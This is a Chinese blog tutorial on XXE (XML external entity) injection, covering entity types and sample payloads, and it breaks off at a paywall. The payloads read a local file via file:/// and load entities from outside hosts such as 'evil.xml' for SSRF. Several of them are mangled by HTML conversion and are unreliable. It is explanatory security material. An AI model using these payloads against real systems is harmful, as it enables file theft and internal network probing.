XXE漏洞分析

最新推荐文章于 2024-07-25 16:13:31 发布

原创

最新推荐文章于 2024-07-25 16:13:31 发布 · 283 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #安全 #密码学 #ddos #c#

本文详细介绍了XXE漏洞的类型，利用方式，包括任意文件读取、内网信息探测和DOS攻击，并分享了踩坑经验。同时，提出了防御XXE的措施，如PHP的libxml_disable_entity_loader，JAVA的DocumentBuilderFactory配置，以及Python的lxml库使用方法。

我正在参加中秋创意投稿大赛，详情请看：中秋创意投稿大赛 0x01:知识准备

XXE即XML External Entity Injection，由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml\\\_load默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml\\\_load_string（）

XML实体分为四种：字符实体，命名实体，外部实体，参数实体

1、命名实体写法：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >\\\]>        
<value>&xxe;</value>

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<<img src="http://otherhost/xxxx.php" >\\\]>       " style="margin: auto" />
<value>&xxe;</value>

可以用做xxe+ssrf2、命名实体+外部实体写法：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root \\\[
<<img src="http://localhost:88/evil.xml"" style="margin: auto" />
\\\]> 
<value>&dtd;</value>

这种命名实体调用外部实体，发现evil.xml中不能定义实体，否则解析不了，感觉命名实体好鸡肋，参数实体就好用很多3、第一种命名实体+外部实体+参数实体写法：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data \\\

最低0.47元/天解锁文章